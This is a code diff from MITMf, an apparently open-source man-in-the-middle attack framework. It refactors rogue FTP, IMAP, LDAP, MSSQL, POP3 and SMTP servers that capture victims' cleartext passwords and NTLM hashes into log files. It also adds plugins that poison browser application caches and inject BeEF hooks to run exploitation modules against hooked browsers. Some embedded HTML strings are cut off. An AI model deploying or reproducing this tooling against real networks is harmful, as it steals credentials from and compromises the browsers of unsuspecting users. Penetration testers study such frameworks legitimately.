-#POP3 server class. -class POP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(POPOKPacket())) - data = self.request.recv(1024) - if data[0:4] == "USER": - User = data[5:].replace("\r\n","") - responder_logger.info('[+]POP3 User: %s'%(User)) - t = POPOKPacket() - self.request.send(str(t)) - data = self.request.recv(1024) - if data[0:4] == "PASS": - Pass = data[5:].replace("\r\n","") - Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,User+":"+Pass, User+":"+Pass) - #print "[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass) - responder_logger.info("[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass)) - t = POPOKPacket() - self.request.send(str(t)) - data = self.request.recv(1024) - else : - t = POPOKPacket() - self.request.send(str(t)) - data = self.request.recv(1024) - except Exception: - pass - -################################################################################## -#POP3 Stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py index 57c5cb3..ded9958 100644 --- a/core/protocols/smb/SMBserver.py +++ b/core/protocols/smb/SMBserver.py @@ -1,7 +1,8 @@ import logging import sys import threading -from impacket import smbserver, LOG +from impacket import version, smbserver, LOG +from core.configwatcher import ConfigWatcher LOG.setLevel(logging.INFO) LOG.propagate = False @@ -16,11 +17,14 @@ streamHandler.setFormatter(formatter) LOG.addHandler(fileHandler) LOG.addHandler(streamHandler) -class SMBserver: +class SMBserver(ConfigWatcher): + + impacket_ver = version.VER_MINOR def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''): self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile) + self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"]) def start(self): t = threading.Thread(name='SMBserver', target=self.server.start) diff --git a/core/protocols/smtp/SMTPServer.py b/core/protocols/smtp/SMTPServer.py deleted file mode 100644 index 50002f9..0000000 --- a/core/protocols/smtp/SMTPServer.py +++ /dev/null @@ -1,63 +0,0 @@ -################################################################################## -#ESMTP Stuff starts here -################################################################################## - -class SMTP(): - - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(self, SMTP_On_Off): - if SMTP_On_Off == "ON": - t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=("0.0.0.0", 25,ESMTP)) - t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=("0.0.0.0", 587,ESMTP)) - - for t in [t1, t2]: - t.setDaemon(True) - t.start() - - if SMTP_On_Off == "OFF": - return False - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class ESMTP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(SMTPGreating())) - data = self.request.recv(1024) - if data[0:4] == "EHLO": - self.request.send(str(SMTPAUTH())) - data = self.request.recv(1024) - if data[0:4] == "AUTH": - self.request.send(str(SMTPAUTH1())) - data = self.request.recv(1024) - if data: - Username = b64decode(data[:len(data)-2]) - self.request.send(str(SMTPAUTH2())) - data = self.request.recv(1024) - if data: - Password = b64decode(data[:len(data)-2]) - Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Username+":"+Password, Username+":"+Password) - #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) - responder_logger.info("[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)) - - except Exception: - pass - -################################################################################## -#ESMTP Stuff ends here -################################################################################## \ No newline at end of file diff --git a/core/responder/common.py b/core/responder/common.py index cd0ea40..904d865 100644 --- a/core/responder/common.py +++ b/core/responder/common.py @@ -1,6 +1,6 @@ #common functions that are used throughout the Responder's code - +import os import re #Function used to write captured hashs to a file. diff --git a/core/protocols/ftp/FTPServer.py b/core/responder/ftp/FTPServer.py similarity index 54% rename from core/protocols/ftp/FTPServer.py rename to core/responder/ftp/FTPServer.py index 98d65ae..d045568 100644 --- a/core/protocols/ftp/FTPServer.py +++ b/core/responder/ftp/FTPServer.py @@ -1,25 +1,25 @@ -################################################################################## -#FTP Stuff starts here -################################################################################## +import socket +import threading +import logging + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from core.responder.packet import Packet +from core.responder.odict import OrderedDict +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class FTPServer(): - - def serve_thread_tcp(host, port, handler): + + def start(self): try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(FTP_On_Off): - if FTP_On_Off == "ON": - t = threading.Thread(name="FTP", target=self.serve_thread_tcp, args=("0.0.0.0", 21, FTP)) + mitmf_logger.debug("[FTPServer] online") + server = ThreadingTCPServer(("0.0.0.0", 21), FTP) + t = threading.Thread(name="FTPServer", target=server.serve_forever) t.setDaemon(True) t.start() - - if FTP_On_Off == "OFF": - return False + except Exception, e: + mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -45,8 +45,7 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) if data[0:4] == "USER": User = data[5:].replace("\r\n","") - #print "[+]FTP User: ", User - responder_logger.info('[+]FTP User: %s'%(User)) + mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User)) t = FTPPacket(Code="331",Message="User name okay, need password.") self.request.send(str(t)) data = self.request.recv(1024) @@ -54,8 +53,7 @@ class FTP(BaseRequestHandler): Pass = data[5:].replace("\r\n","") Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt" WriteData(Outfile,User+":"+Pass, User+":"+Pass) - #print "[+]FTP Password is: ", Pass - responder_logger.info('[+]FTP Password is: %s'%(Pass)) + mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass)) t = FTPPacket(Code="530",Message="User not logged in.") self.request.send(str(t)) data = self.request.recv(1024) @@ -63,9 +61,5 @@ class FTP(BaseRequestHandler): t = FTPPacket(Code="502",Message="Command not implemented.") self.request.send(str(t)) data = self.request.recv(1024) - except Exception: - pass - -################################################################################## -#FTP Stuff ends here -################################################################################## \ No newline at end of file + except Exception as e: + mitmf_logger.error("[FTPServer] Error handling request: {}".format(e)) \ No newline at end of file diff --git a/core/protocols/ftp/__init__.py b/core/responder/ftp/__init__.py similarity index 100% rename from core/protocols/ftp/__init__.py rename to core/responder/ftp/__init__.py diff --git a/core/protocols/http/HTTPSProxy.py b/core/responder/https/HTTPSProxy.py similarity index 100% rename from core/protocols/http/HTTPSProxy.py rename to core/responder/https/HTTPSProxy.py diff --git a/core/protocols/http/__init__.py b/core/responder/https/__init__.py similarity index 100% rename from core/protocols/http/__init__.py rename to core/responder/https/__init__.py diff --git a/core/protocols/imap/IMAPPackets.py b/core/responder/imap/IMAPPackets.py similarity index 76% rename from core/protocols/imap/IMAPPackets.py rename to core/responder/imap/IMAPPackets.py index 51f13e8..3e3ed17 100644 --- a/core/protocols/imap/IMAPPackets.py +++ b/core/responder/imap/IMAPPackets.py @@ -16,21 +16,8 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from core.responder.odict import OrderedDict +from core.responder.packet import Packet #IMAP4 Greating class class IMAPGreating(Packet): diff --git a/core/protocols/imap/IMAPServer.py b/core/responder/imap/IMAPServer.py similarity index 50% rename from core/protocols/imap/IMAPServer.py rename to core/responder/imap/IMAPServer.py index a05afc6..67e6a55 100644 --- a/core/protocols/imap/IMAPServer.py +++ b/core/responder/imap/IMAPServer.py @@ -1,26 +1,23 @@ -################################################################################## -#IMAP4 Stuff starts here -################################################################################## +import logging +import threading +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from IMAPPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class IMAPServer(): - def serve_thread_tcp(host, port, handler): + def start(self): try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) - - #Function name self-explanatory - def start(IMAP_On_Off): - if IMAP_On_Off == "ON": - t = threading.Thread(name="IMAP", target=self.serve_thread_tcp, args=("0.0.0.0", 143,IMAP)) + mitmf_logger.debug("[IMAPServer] online") + server = ThreadingTCPServer(("0.0.0.0", 143), IMAP) + t = threading.Thread(name="IMAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - - if IMAP_On_Off == "OFF": - return False + except Exception, e: + mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -46,13 +43,9 @@ class IMAP(BaseRequestHandler): Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt" WriteData(Outfile,Credentials, Credentials) #print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials) - responder_logger.info('[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)) + mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials)) self.request.send(str(ditchthisconnection())) data = self.request.recv(1024) - except Exception: - pass - -################################################################################## -#IMAP4 Stuff ends here -################################################################################## \ No newline at end of file + except Exception as e: + mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e)) diff --git a/core/protocols/imap/__init__.py b/core/responder/imap/__init__.py similarity index 100% rename from core/protocols/imap/__init__.py rename to core/responder/imap/__init__.py diff --git a/core/protocols/ldap/LDAPPackets.py b/core/responder/ldap/LDAPPackets.py similarity index 97% rename from core/protocols/ldap/LDAPPackets.py rename to core/responder/ldap/LDAPPackets.py index 7de4409..ce3b64f 100644 --- a/core/protocols/ldap/LDAPPackets.py +++ b/core/responder/ldap/LDAPPackets.py @@ -17,22 +17,8 @@ # along with this program. If not, see . import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - +from core.responder.odict import OrderedDict +from core.responder.packet import Packet class LDAPSearchDefaultPacket(Packet): fields = OrderedDict([ diff --git a/core/protocols/ldap/LDAPServer.py b/core/responder/ldap/LDAPServer.py similarity index 72% rename from core/protocols/ldap/LDAPServer.py rename to core/responder/ldap/LDAPServer.py index fa65472..4629f71 100644 --- a/core/protocols/ldap/LDAPServer.py +++ b/core/responder/ldap/LDAPServer.py @@ -1,25 +1,27 @@ -################################################################################## -#LDAP Stuff starts here -################################################################################## +import struct +import logging +import threading +import re + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from LDAPPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") class LDAPServer(): - def serve_thread_tcp(self, host, port, handler): - try: - server = ThreadingTCPServer((host, port), handler) - server.serve_forever() - except Exception, e: - print "Error starting TCP server on port %s: %s:" % (str(port),str(e)) + def start(self, chal): + global Challenge; Challenge = chal - #Function name self-explanatory - def start(self, LDAP_On_Off): - if LDAP_On_Off == "ON": - t = threading.Thread(name="LDAP", target=self.serve_thread_tcp, args=("0.0.0.0", 389,LDAP)) + try: + mitmf_logger.debug("[LDAPServer] online") + server = ThreadingTCPServer(("0.0.0.0", 389), LDAP) + t = threading.Thread(name="LDAPServer", target=server.serve_forever) t.setDaemon(True) t.start() - - if LDAP_On_Off == "OFF": - return False + except Exception, e: + mitmf_logger.error("[LDAPServer] Error starting on port {}: {}".format(389, e)) class ThreadingTCPServer(ThreadingMixIn, TCPServer): @@ -54,15 +56,15 @@ def ParseLDAPHash(data,client): UserLen = struct.unpack('. import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from core.responder.odict import OrderedDict +from core.responder.packet import Packet #MS-SQL Pre-login packet class class MSSQLPreLoginAnswer(Packet): diff --git a/core/responder/mssql/MSSQLServer.py b/core/responder/mssql/MSSQLServer.py new file mode 100644 index 0000000..71d38a5 --- /dev/null +++ b/core/responder/mssql/MSSQLServer.py @@ -0,0 +1,127 @@ +import struct +import logging +import threading + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from MSSQLPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") + +class MSSQLServer(): + + def start(self, chal): + global Challenge; Challenge = chal + + try: + mitmf_logger.debug("[MSSQLServer] online") + server = ThreadingTCPServer(("0.0.0.0", 1433), MSSQL) + t = threading.Thread(name="MSSQLServer", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.error("[MSSQLServer] Error starting on port {}: {}".format(1433, e)) + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = True + + def server_bind(self): + TCPServer.server_bind(self) + +#This function parse SQL NTLMv1/v2 hash and dump it into a specific file. +def ParseSQLHash(data,client): + SSPIStart = data[8:] + LMhashLen = struct.unpack(' 60: + DomainLen = struct.unpack('H',Data[2:4])[0] + EncryptionValue = Data[PacketLen-7:PacketLen-6] + if re.search("NTLMSSP",Data): + return True + else: + return False + +#MS-SQL server class. +class MSSQL(BaseRequestHandler): + + def handle(self): + try: + while True: + data = self.request.recv(1024) + self.request.settimeout(0.1) + ##Pre-Login Message + if data[0] == "\x12": + buffer0 = str(MSSQLPreLoginAnswer()) + self.request.send(buffer0) + data = self.request.recv(1024) + ##NegoSSP + if data[0] == "\x10": + if re.search("NTLMSSP",data): + t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge) + t.calculate() + buffer1 = str(t) + self.request.send(buffer1) + data = self.request.recv(1024) + else: + ParseClearTextSQLPass(data,self.client_address[0]) + ##NegoSSP Auth + if data[0] == "\x11": + ParseSQLHash(data,self.client_address[0]) + except Exception: + pass + self.request.close() diff --git a/core/protocols/mssql/__init__.py b/core/responder/mssql/__init__.py similarity index 100% rename from core/protocols/mssql/__init__.py rename to core/responder/mssql/__init__.py diff --git a/core/responder/pop3/POP3Server.py b/core/responder/pop3/POP3Server.py new file mode 100644 index 0000000..860ab91 --- /dev/null +++ b/core/responder/pop3/POP3Server.py @@ -0,0 +1,63 @@ +import logging +import threading + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from core.responder.common import * +from core.responder.odict import OrderedDict +from core.responder.packet import Packet + +mitmf_logger = logging.getLogger("mitmf") + +class POP3Server(): + + def start(self): + try: + mitmf_logger.debug("[POP3Server] online") + server = ThreadingTCPServer(("0.0.0.0", 110), POP) + t = threading.Thread(name="POP3Server", target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception, e: + mitmf_logger.error("[POP3Server] Error starting on port {}: {}".format(110, e)) + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + TCPServer.server_bind(self) + + +class POPOKPacket(Packet): + fields = OrderedDict([ + ("Code", "+OK"), + ("CRLF", "\r\n"), + ]) + +#POP3 server class. +class POP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(POPOKPacket())) + data = self.request.recv(1024) + if data[0:4] == "USER": + User = data[5:].replace("\r\n","") + mitmf_logger.info('[+]POP3 User: %s'%(User)) + t = POPOKPacket() + self.request.send(str(t)) + data = self.request.recv(1024) + if data[0:4] == "PASS": + Pass = data[5:].replace("\r\n","") + Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt" + WriteData(Outfile,User+":"+Pass, User+":"+Pass) + mitmf_logger.info("[POP3Server] POP3 Credentials from {}. User/Pass: {}:{} ".format(self.client_address[0],User,Pass)) + t = POPOKPacket() + self.request.send(str(t)) + data = self.request.recv(1024) + else : + t = POPOKPacket() + self.request.send(str(t)) + data = self.request.recv(1024) + except Exception as e: + mitmf_logger.error("[POP3Server] Error handling request: {}".format(e)) \ No newline at end of file diff --git a/core/protocols/pop3/__init__.py b/core/responder/pop3/__init__.py similarity index 100% rename from core/protocols/pop3/__init__.py rename to core/responder/pop3/__init__.py diff --git a/core/protocols/smtp/SMTPPackets.py b/core/responder/smtp/SMTPPackets.py similarity index 81% rename from core/protocols/smtp/SMTPPackets.py rename to core/responder/smtp/SMTPPackets.py index 65e252c..0f80519 100644 --- a/core/protocols/smtp/SMTPPackets.py +++ b/core/responder/smtp/SMTPPackets.py @@ -16,21 +16,8 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) +from core.responder.odict import OrderedDict +from core.responder.packet import Packet #SMTP Greating class class SMTPGreating(Packet): diff --git a/core/responder/smtp/SMTPServer.py b/core/responder/smtp/SMTPServer.py new file mode 100644 index 0000000..f07df49 --- /dev/null +++ b/core/responder/smtp/SMTPServer.py @@ -0,0 +1,62 @@ +import logging +import threading + +from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler +from base64 import b64decode +from SMTPPackets import * +from core.responder.common import * + +mitmf_logger = logging.getLogger("mitmf") + +class SMTPServer(): + + def serve_thread_tcp(self, port): + try: + server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) + server.serve_forever() + except Exception as e: + mitmf_logger.error("[SMTPServer] Error starting TCP server on port {}: {}".format(port, e)) + + #Function name self-explanatory + def start(self): + mitmf_logger.debug("[SMTPServer] online") + t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) + t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) + + for t in [t1, t2]: + t.setDaemon(True) + t.start() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + TCPServer.server_bind(self) + +#ESMTP server class. +class ESMTP(BaseRequestHandler): + + def handle(self): + try: + self.request.send(str(SMTPGreating())) + data = self.request.recv(1024) + if data[0:4] == "EHLO": + self.request.send(str(SMTPAUTH())) + data = self.request.recv(1024) + if data[0:4] == "AUTH": + self.request.send(str(SMTPAUTH1())) + data = self.request.recv(1024) + if data: + Username = b64decode(data[:len(data)-2]) + self.request.send(str(SMTPAUTH2())) + data = self.request.recv(1024) + if data: + Password = b64decode(data[:len(data)-2]) + Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" + WriteData(Outfile,Username+":"+Password, Username+":"+Password) + #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) + mitmf_logger.info("[SMTPServer] {} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) + + except Exception as e: + mitmf_logger.error("[SMTPServer] Error handling request: {}".format(e)) diff --git a/core/protocols/smtp/__init__.py b/core/responder/smtp/__init__.py similarity index 100% rename from core/protocols/smtp/__init__.py rename to core/responder/smtp/__init__.py diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index a182326..9fe76cb 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -103,7 +103,7 @@ class ProxyPlugins: except KeyError as e: pass except Exception as e: - #This is needed because errors in hooked functions won't raise an Exception + Tracback (which can be infuriating) + #This is needed because errors in hooked functions won't raise an Exception + Traceback (which can be infuriating) mitmf_logger.error("[ProxyPlugins] Exception occurred in hooked function") traceback.print_exc() diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3aadfc5..4f3cb11 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -98,7 +98,7 @@ class ServerConnection(HTTPClient): postdata = self.postData.decode('utf8') #Anything that we can't decode to utf-8 isn't worth logging if len(postdata) > 0: mitmf_logger.warning("{} {} Data ({}):\n{}".format(self.client.getClientIP(), self.getPostPrefix(), self.headers['host'], postdata)) - except UnicodeDecodeError: + except UnicodeDecodeError and UnicodeEncodeError: mitmf_logger.debug("[ServerConnection] {} Ignored post data from {}".format(self.client.getClientIP(), self.headers['host'])) pass diff --git a/libs/bdfactory b/libs/bdfactory index 4609ade..0bd3429 160000 --- a/libs/bdfactory +++ b/libs/bdfactory @@ -1 +1 @@ -Subproject commit 4609adeb5383135352aa27113d8ee1398aecff99 +Subproject commit 0bd3429e6775395c3522046ab21193a36ab2e0fe diff --git a/mitmf.py b/mitmf.py index 349b76b..5263505 100755 --- a/mitmf.py +++ b/mitmf.py @@ -39,8 +39,6 @@ if os.geteuid() != 0: mitmf_version = "0.9.7" sslstrip_version = "0.9" sergio_version = "0.2.1" -dnschef_version = "0.4" -netcreds_version = "1.0" parser = argparse.ArgumentParser(description="MITMf v{} - Framework for MITM attacks".format(mitmf_version), version=mitmf_version, usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@') @@ -162,17 +160,16 @@ print "|_ SSLstrip v{} by Moxie Marlinspike online".format(sslstrip_version) #Start Net-Creds from core.netcreds.NetCreds import NetCreds NetCreds().start(args.interface, myip) -print "|_ Net-Creds v{} online".format(netcreds_version) +print "|_ Net-Creds v{} online".format(NetCreds.version) #Start DNSChef from core.dnschef.DNSchef import DNSChef DNSChef.getInstance().start() -print "|_ DNSChef v{} online".format(dnschef_version) +print "|_ DNSChef v{} online".format(DNSChef.version) #start the SMB server from core.protocols.smb.SMBserver import SMBserver -from impacket import version -print "|_ SMBserver online (Impacket {})\n".format(version.VER_MINOR) +print "|_ SMBserver online (Impacket {})\n".format(SMBserver.impacket_ver) SMBserver().start() #start the reactor diff --git a/plugins/AppCachePoison.py b/plugins/AppCachePoison.py new file mode 100644 index 0000000..4b787b9 --- /dev/null +++ b/plugins/AppCachePoison.py @@ -0,0 +1,206 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# 99.9999999% of this code was stolen from https://github.com/koto/sslstrip by Krzysztof Kotowicz + +import logging +import re +import os.path +import time +import sys + +from datetime import date +from plugins.plugin import Plugin +from core.sslstrip.URLMonitor import URLMonitor + +mitmf_logger = logging.getLogger("mitmf") + +class AppCachePlugin(Plugin): + name = "App Cache Poison" + optname = "appoison" + desc = "Performs App Cache Poisoning attacks" + implements = ["handleResponse"] + version = "0.3" + has_opts = False + + def initialize(self, options): + self.options = options + self.mass_poisoned_browsers = [] + self.urlMonitor = URLMonitor.getInstance() + + self.urlMonitor.setAppCachePoisoning() + + def handleResponse(self, request, data): + + self.app_config = self.config['AppCachePoison'] # so we reload the config on each request + url = request.client.uri + req_headers = request.client.getAllHeaders() + headers = request.client.responseHeaders + ip = request.client.getClientIP() + + ######################################################################### + + if "enable_only_in_useragents" in self.app_config: + regexp = self.app_config["enable_only_in_useragents"] + if regexp and not re.search(regexp,req_headers["user-agent"]): + mitmf_logger.info("%s Tampering disabled in this useragent (%s)" % (ip, req_headers["user-agent"])) + return {'request': request, 'data': data} + + urls = self.urlMonitor.getRedirectionSet(url) + mitmf_logger.debug("%s [AppCachePoison] Got redirection set: %s" % (ip, urls)) + (name,s,element,url) = self.getSectionForUrls(urls) + + if s is False: + data = self.tryMassPoison(url, data, headers, req_headers, ip) + return {'request': request, 'data': data} + + mitmf_logger.info("%s Found URL %s in section %s" % (ip, url, name)) + p = self.getTemplatePrefix(s) + + if element == 'tamper': + mitmf_logger.info("%s Poisoning tamper URL with template %s" % (ip, p)) + if os.path.exists(p + '.replace'): # replace whole content + f = open(p + '.replace','r') + data = self.decorate(f.read(), s) + f.close() + + elif os.path.exists(p + '.append'): # append file to body + f = open(p + '.append','r') + appendix = self.decorate(f.read(), s) + f.close() + # append to body + data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + + # add manifest reference + data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip + return data + + def getMassPoisonHtml(self): + html = "
" + for i in self.app_config: + if isinstance(self.app_config[i], dict): + if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): + html += "" + + return html + "
" + + def cacheForFuture(self, headers): + ten_years = 315569260 + headers.setRawHeaders("Cache-Control",["max-age="+str(ten_years)]) + headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh + in_ten_years = date.fromtimestamp(time.time() + ten_years) + headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) + + def removeDangerousHeaders(self, headers): + headers.removeHeader("X-Frame-Options") + + def getSpoofedManifest(self, url, section): + p = self.getTemplatePrefix(section) + if not os.path.exists(p+'.manifest'): + p = self.getDefaultTemplatePrefix() + + f = open(p + '.manifest', 'r') + manifest = f.read() + f.close() + return self.decorate(manifest, section) + + def decorate(self, content, section): + for i in section: + content = content.replace("%%"+i+"%%", section[i]) + return content + + def getTemplatePrefix(self, section): + if section.has_key('templates'): + return self.app_config['templates_path'] + '/' + section['templates'] + + return self.getDefaultTemplatePrefix() + + def getDefaultTemplatePrefix(self): + return self.app_config['templates_path'] + '/default' + + def getManifestUrl(self, section): + return section.get("manifest_url",'/robots.txt') + + def getSectionForUrls(self, urls): + for url in urls: + for i in self.app_config: + if isinstance(self.app_config[i], dict): #section + section = self.app_config[i] + name = i + + if section.get('tamper_url',False) == url: + return (name, section, 'tamper',url) + + if section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url): + return (name, section, 'tamper',url) + + if section.get('manifest_url',False) == url: + return (name, section, 'manifest',url) + + if section.get('raw_url',False) == url: + return (name, section, 'raw',url) + + return (None, False,'',urls.copy().pop()) + + diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py new file mode 100644 index 0000000..e2ade2e --- /dev/null +++ b/plugins/BeefAutorun.py @@ -0,0 +1,127 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import logging +import sys +import json + +from time import sleep +from core.beefapi import BeefAPI +from core.utils import SystemConfig +from plugins.plugin import Plugin +from plugins.Inject import Inject + +mitmf_logger = logging.getLogger("mitmf") + +class BeefAutorun(Inject, Plugin): + name = "BeEFAutorun" + optname = "beefauto" + desc = "Injects BeEF hooks & autoruns modules based on Browser and/or OS type" + tree_output = [] + depends = ["Inject"] + version = "0.3" + has_opts = False + + def initialize(self, options): + self.options = options + self.ip_address = SystemConfig.getIP(options.interface) + + Inject.initialize(self, options) + + self.tree_output.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) + self.onConfigChange() + + def onConfigChange(self): + + beefconfig = self.config['MITMf']['BeEF'] + + self.html_payload = ''.format(self.ip_address, beefconfig['beefport']) + + self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) + if not self.beef.login(beefconfig['user'], beefconfig['pass']): + sys.exit("[-] Error logging in to BeEF!") + + def startThread(self, options): + self.autorun() + + def autorun(self): + already_ran = [] + already_hooked = [] + + while True: + mode = self.config['BeEFAutorun']['mode'] + sessions = self.beef.sessions_online() + if (sessions is not None and len(sessions) > 0): + for session in sessions: + + if session not in already_hooked: + info = self.beef.hook_info(session) + mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) + already_hooked.append(session) + self.black_ips.append(str(info['ip'])) + + if mode == 'oneshot': + if session not in already_ran: + self.execModules(session) + already_ran.append(session) + + elif mode == 'loop': + self.execModules(session) + sleep(10) + + else: + sleep(1) + + def execModules(self, session): + session_info = self.beef.hook_info(session) + session_ip = session_info['ip'] + hook_browser = session_info['name'] + hook_os = session_info['os'] + all_modules = self.config['BeEFAutorun']["ALL"] + targeted_modules = 